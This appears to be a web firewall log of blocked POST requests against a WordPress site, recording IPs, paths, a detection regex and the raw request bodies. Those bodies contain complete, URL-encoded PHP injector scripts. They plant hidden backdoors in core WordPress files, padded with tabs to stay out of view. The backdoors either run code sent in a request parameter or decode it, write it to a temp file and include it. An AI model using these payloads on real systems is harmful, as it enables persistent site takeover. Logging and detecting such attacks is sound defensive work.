3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nGA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:56:44","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5035\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nQf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:56:50","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5058\nhost:dewenlabels.com\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:56:53","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2061\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 